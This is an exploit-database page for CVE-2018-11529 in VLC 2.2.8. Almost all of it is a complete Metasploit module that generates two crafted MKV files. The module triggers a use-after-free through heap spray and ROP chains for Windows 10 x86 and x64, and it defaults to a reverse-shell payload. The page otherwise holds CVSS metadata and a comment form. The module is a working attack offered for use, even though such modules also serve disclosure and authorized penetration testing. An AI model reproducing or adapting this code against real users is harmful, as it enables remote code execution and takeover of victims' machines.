VLC Media Player 2.2.8 MKV Use-After-Free

2018.10.11
Credit: Eugene NG
Risk: High
Local: Yes
Remote: No
CWE: CWE-416


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VLC Media Player MKV Use After Free', 'Description' => %q( This module exploits a use after free vulnerability in VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of MKV files and affects both 32 bits and 64 bits. In order to exploit this, this module will generate two files: The first .mkv file contains the main vulnerability and heap spray, the second .mkv file is required in order to take the vulnerable code path and should be placed under the same directory as the .mkv file. This module has been tested against VLC v2.2.8. Tested with payloads windows/exec, windows/x64/exec, windows/shell/reverse_tcp, windows/x64/shell/reverse_tcp. Meterpreter payloads if used can cause the application to crash instead. ), 'License' => MSF_LICENSE, 'Author' => [ 'Eugene Ng - GovTech', # Vulnerability Discovery, Exploit 'Winston Ho - GovTech', # Metasploit Module ], 'References' => [ ['CVE', '2018-11529'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'], ['EDB', '44979'] ], 'Payload' => { 'Space' => 0x300, 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'VLC 2.2.8 on Windows 10 x86', { 'Platform' => 'win', 'Arch' => [ARCH_X86], 'Ret' => 0x22000020, 'ExitPointer' => 0x00411364, 'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'}, 'RopChain' => [ 0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET 0x00407086, # POP EDI # RETN [vlc.exe] 0x00000040, # 0x00000040-> edx 0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe] 0x22000030, # Filler (compensate) for rol [eax] below 0x41414141, # Filler (compensate) 0x004039c8, # POP ECX # RETN [vlc.exe] 0x0041193d, # &Writable location [vlc.exe] 0x00409d18, # POP EBX # RETN [vlc.exe] 0x00000201, # 0x00000201-> ebx 0x0040a623, # POP EBP # RETN [vlc.exe] 0x0040a623, # POP EBP # RETN [vlc.exe] 0x004036CB, # POP ESI # RETN [vlc.exe] 0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe] 0x00407086, # POP EDI # RETN [vlc.exe] 0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe] 0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8) 0x22000020 + 0x5e0, # Shellcode ] } ], [ 'VLC 2.2.8 on Windows 10 x64', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'Ret' => 0x40000040, 'ExitPointer' => 0x00412680, 'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'}, 'RopChain' => [ 0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET 0x00403b60, # POP RCX # RET 0x40000040, # lpAddress 0x004011c2, # POP RDX # RET 0x00001000, # dwSize 0x0040ab70, # JMP VirtualProtect 0x40000040 + 0x700, # Payload ] } ] ], 'Privileged' => false, 'DisclosureDate' => 'May 24 2018', 'DefaultTarget' => 1)) register_options [ OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']), OptString.new('MKV_TWO', [false, 'The auxiliary file name.', '']) ] deregister_options('FILENAME') end def to_bytes(num, length, endianess = 'big') h = format('%<num>x', num: num) s = ('0' * (h.length % 2) + h).rjust(length * 2) s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join endianess == 'big' ? s : s.reverse end def data_size(number, numbytes = (1...9)) # encode 'number' as an EBML variable-size integer. numbytes = [numbytes] if numbytes.is_a?(Integer) numbytes.each do |size| bits = size * 7 return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2 end fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes") end def build_data(size) block_size = 0x1000 if target.arch.first == ARCH_X64 target_address_packed = [target.ret].pack("<Q") rop_chain = target['RopChain'].map { |qword| [qword].pack("<Q") }.join if size == 0x180 uaf_object = "\x41" * size uaf_object[0x30, 8] = target_address_packed uaf_object[0x38, 8] = [target.ret + 0x10000].pack("<Q") uaf_object[0x168, 8] = [target.ret + 0x3c0].pack("<Q") uaf_object[0x170, 8] = target_address_packed return uaf_object else block = "\x00" * block_size block[0x0, 4] = "\x41" * 4 block[0x8, target_address_packed.length] = target_address_packed block[0x10, target_address_packed.length] = target_address_packed block[0x40, 8] = [0x1].pack("<Q") block[0x58, 8] = [target.ret + 0x3a8].pack("<Q") block[0xE4, 8] = [0x1].pack("<Q") block[0x1b8, 8] = [target.ret + 0x80].pack("<Q") block[0x3b8, rop_chain.length] = rop_chain block[0x6d8, 8] = [target.ret + 0x10].pack("<Q") block[0x700, payload.encoded.length] = payload.encoded block *= size / block.length + 1 end return block[0, size] elsif target.arch.first == ARCH_X86 target_address_packed = [target.ret].pack("<I") rop_chain = target['RopChain'].map { |dword| [dword].pack("<I") }.join if size == 0x100 uaf_object = "\x41" * size uaf_object[0x28, 4] = target_address_packed uaf_object[0x2c, 4] = [target.ret + 0x10000].pack("<I") uaf_object[0xf4, 4] = [target.ret + 0x2bc].pack("<I") uaf_object[0xf8, 4] = target_address_packed return uaf_object else block = "\x00" * block_size block[0x0, 4] = [0x22000040].pack("<I") block[0x4, target_address_packed.length] = target_address_packed block[0x8, target_address_packed.length] = target_address_packed block[0x10, 4] = [0xc85].pack("<I") block[0x30, 4] = [0x1].pack("<I") block[0xc0, 4] = [0x1].pack("<I") block[0x194, 4] = [0x2200031c].pack("<I") block[0x2c0, 4] = [0x220002e4].pack("<I") block[0x2f4, 4] = [0x22000310].pack("<I") block[0x2f8, rop_chain.length] = rop_chain block[0x564, 4] = [0x22000588].pack("<I") block[0x5e0, payload.encoded.length] = payload.encoded block *= size / block.length + 1 end return block[0, size] end end def generate_mkv # EBML Header doc_type = "\x42\x82" << data_size(8) << "matroska" ebml = "\x1a\x45\xdf\xa3" << data_size(doc_type.length) << doc_type # Seek Entries seek_entry = "\x53\xab" << data_size(4) # SeekID seek_entry << "\x15\x49\xa9\x66" # KaxInfo seek_entry << "\x53\xac" << data_size(2) << "\xff" * 2 # SeekPosition + Index of Segment info seek_entries = "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry seek_entry = "\x53\xab" << data_size(4) # SeekID seek_entry << "\x11\x4d\x9b\x74" # KaxSeekHead seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4 # SeekPosition + Index of SeekHead seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry seek_entry = "\x53\xab" << data_size(4) # SeekID seek_entry << "\x10\x43\xa7\x70" # KaxChapters seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4 # SeekPosition + Index of Chapters seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry # SeekHead seek_head = "\x11\x4d\x9b\x74" << data_size(seek_entries.length) << seek_entries # Void void = "\xec" << data_size(2) << "\x41" # Trigger bug with an out-of-order element # Info segment_uid = "\x73\xa4" << data_size(16) << rand_text(16) info = "\x15\x49\xa9\x66" << data_size(segment_uid.length) << segment_uid # Chapters chapter_segment_uid = "\x6e\x67" << data_size(16) << rand_text(16) chapter_atom = "\xb6" << data_size(chapter_segment_uid.length) << chapter_segment_uid edition_entry = "\x45\xb9" << data_size(chapter_atom.length) << chapter_atom chapters = "\x10\x43\xa7\x70" << data_size(edition_entry.length) << edition_entry if target.arch.first == ARCH_X86 size = 0x100 count = 30 elsif target.arch.first == ARCH_X64 size = 0x180 count = 60 end # Attachments attached_files = "" mime = "\x46\x60" << data_size(24) << "application/octet-stream" data = build_data(size) data = "\x46\x5c" << data_size(data.length) << data 500.times do uid = "\x46\xae" << data_size(8) << rand_text(8) file_name = "\x46\x6e" << data_size(8) << rand_text(8) header = "\x61\xa7" << data_size(uid.length + file_name.length + mime.length + data.length) attached_files << header << file_name << mime << uid << data end attachments = "\x19\x41\xa4\x69" << data_size(attached_files.length) << attached_files # Cluster pay_load = build_data(0xfff000) # Since the payload is simply repeated payload blocks appended to cluster then segment_data, # we return the simple_block and the count to process later instead. # This should result is overall lowered memory usage during payload generation simple_block = "\xa3" << data_size(pay_load.length) << pay_load simple_blocks_len = simple_block.length * count time_code = "\xe7" << data_size(1) << "\x00" cluster = "\x1f\x43\xb6\x75" << data_size(time_code.length + simple_blocks_len) << time_code # Concatenate everything segment_data = seek_head << void << info << chapters << attachments << cluster segment = "\x18\x53\x80\x67" << data_size(segment_data.length + simple_blocks_len) << segment_data mkv = ebml << segment return mkv, simple_block, count end def exploit mkv1, simple_block, count = generate_mkv mkv2 = mkv1[0, 0x4f] + "\x15\x49\xa9\x66" + data_size(10) tmpname = rand_text_alpha_lower(3..8) f1 = datastore['MKV_ONE'].empty? ? "#{tmpname}-part1.mkv" : datastore['MKV_ONE'] f1 << '.mkv' unless f1.downcase.end_with?('.mkv') f2 = datastore['MKV_TWO'].empty? ? "#{tmpname}-part2.mkv" : datastore['MKV_TWO'] f2 << '.mkv' unless f2.downcase.end_with?('.mkv') file_format_filename(f1) file_create(mkv1) print_status("Created #{f1}. Target should open this file") file_format_filename(f2) file_create(mkv2) print_status("Created #{f2}. Put this file in the same directory as #{f1}") print_status("Appending blocks to #{f1}") path = File.join(Msf::Config.local_directory, f1) full_path = ::File.expand_path(path) File.open(full_path, 'ab') do |fd| count.times { fd.write(simple_block) } end print_good("Succesfully appended blocks to #{f1}") end def file_format_filename(name = '') name.empty? ? @fname : @fname = name end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top